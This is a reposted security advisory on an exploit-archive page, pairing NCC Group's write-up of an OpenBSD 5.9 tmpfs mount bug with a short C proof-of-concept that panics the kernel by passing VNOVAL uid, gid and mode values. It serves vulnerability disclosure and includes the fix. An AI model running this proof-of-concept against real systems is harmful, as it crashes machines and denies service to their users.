首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenBSD 5.9 kernel panic through the mount system call Exploit
来源:vfocus.net 作者:vfocus 发布时间:2016-07-18  
/*
* mount_panic.c
* Demonstrate a panic through the mount system call.
*
* gcc -g mount_panic.c -o mount_panic
*/
  
#ifdef BUG_WRITEUP //---------------------------------------------------
Tmpfs mount with bad args can lead to a panic
  
Impact:
Root users or users on systems with kern.usermount set to true can
trigger a kernel panic when mounting a tmpfs filesystem.
  
Description:
The tmpfs filesystem allows the mounting user to specify a
username, a groupname or a device name for the root node of
the filesystem. A user that specifies a value of VNOVAL for
any of these fields will trigger an assert in tmpfs_alloc_node():
  
/* XXX pedro: we should check for UID_MAX and GID_MAX instead. */
KASSERT(uid != VNOVAL && gid != VNOVAL && mode != VNOVAL);
  
This condition can only be triggered by users who are allowed
to mount a tmpfs filesystem. Normally this is the root user, but
if the kern.usernmount sysctl variable has been set to true,
any user could trigger this panic.
  
Reproduction:
Run the attached mount_panic.c program. It will mount a tmpfs
filesystem with invalid settings and will lead to a panic of
"panic: kernel diagnostic assertion "uid != VNOVAL && gid != VNOVAL
&& mode != VNOVAL" failed". NCC Group was able to reproduce this issue
on OpenBSD 5.9 release running amd64.
  
Recommendation:
Validate the args.ta_root_uid, args.ta_root_gid and args.ta_root_mode
fields in tmpfs_mount() before calling tmpfs_alloc_node().
Return an error to the user when an invalid argument is detected.
  
Reported: 2016-07-11
Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/tmpfs/tmpfs_vfsops.c.diff?r1=1.8&r2=1.9
  
#endif // BUG_WRITEUP ---------------------------------------------------
  
  
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/mount.h>
  
#define VNOVAL (-1)
  
int main(int argc, char **argv)
{
struct tmpfs_args args;
int x;
  
memset(&args, 0, sizeof args);
args.ta_version = TMPFS_ARGS_VERSION;
args.ta_root_uid = VNOVAL;
args.ta_root_gid = VNOVAL;
args.ta_root_mode = VNOVAL;
x = mount("tmpfs", "/mnt", 0, &args);
if(x == -1)
perror("mount");
printf("no crash!\n");
return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenBSD 5.9 kernel panic throu
·OpenBSD 5.9 kernel panic throu
·OpenBSD 5.9 kernel panic throu
·OpenBSD 5.9 kernel panic in tm
·OpenBSD 5.9 kernel panic in UF
·Prestashop vtermslidesshow mod
·OpenBSD 5.9 kernel panic throu
·MS16-032 Secondary Logon Handl
·OpenBSD 5.9 kernel panic throu
·Riverbed SteelCentral NetProfi
·Axis Communications MPQT/PACS
·Core FTP Le 2.2 Buffer Overflo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved